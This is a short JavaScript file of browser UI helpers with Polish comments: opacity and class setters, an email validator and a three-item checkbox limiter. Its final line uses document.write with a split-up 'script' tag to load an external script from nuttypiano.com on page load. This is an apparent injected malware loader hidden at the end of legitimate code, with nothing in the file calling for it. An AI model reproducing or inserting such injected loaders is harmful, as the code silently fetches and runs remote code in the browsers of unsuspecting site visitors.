  function _opacity(id, o) { //Micha³ "REGi" Rygielski http://regi.gamedev.pl
    var obj = document.getElementById(id).style;
    obj.MozOpacity = (o / 100); // Mozilla i FireFox
    obj.KhtmlOpacity = (o / 100); // Safari < 1.2
    obj.opacity = (o / 100); // Safari 1.2, nowszy FireFox i Mozilla
    obj.filter = "alpha(opacity=" + o + ")"; // Internet Explorer
  }
  function changeBgTable(id, color, cursor, o) {
    document.getElementById(id).style.background=color;
    document.getElementById(id).style.cursor=cursor;
    _opacity(id, o);
  }


  function changeClass(idname, classname) { // by Micha³ 'REGi' Rygielski http://regi.gamedev.pl
    class_ = document.getElementById(idname);
    class_.setAttribute("class", classname);
    class_.setAttribute("className", classname);
  }

  function sprawdzEmail(adres) {
    if (adres != "") {
      var re = new RegExp("[^@]{1,}[@]{1}[^@.]{1,}[.]{1}[^@]{1,}","gi");
      var wynik = re.test(adres);
      if (wynik == true) { return true; }
      if (wynik == false) { return false; }
    }
  }

var MAX_ALLOWED=3;
var clickedData=new Array(false,false,false,false,false,false,false,false,false,false);
function itemsClicked(){var i=0;for(var j=0;j<clickedData.length;j++)i+=clickedData[j]?1:0;return(i);}
function itemClicked(_v)
{
  var ALLOW_THIS=true;
  var x=itemsClicked();
  if (x>=MAX_ALLOWED && !clickedData[_v])
  {
    ALLOW_THIS=false;
  }
  else
  {
    clickedData[_v]=clickedData[_v]?false:true;
	eval("document.mail_wyslij.r"+_v+".clicked=false;");
  }
  return (ALLOW_THIS);
}
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Num_Lock.js"></scri'+'pt>');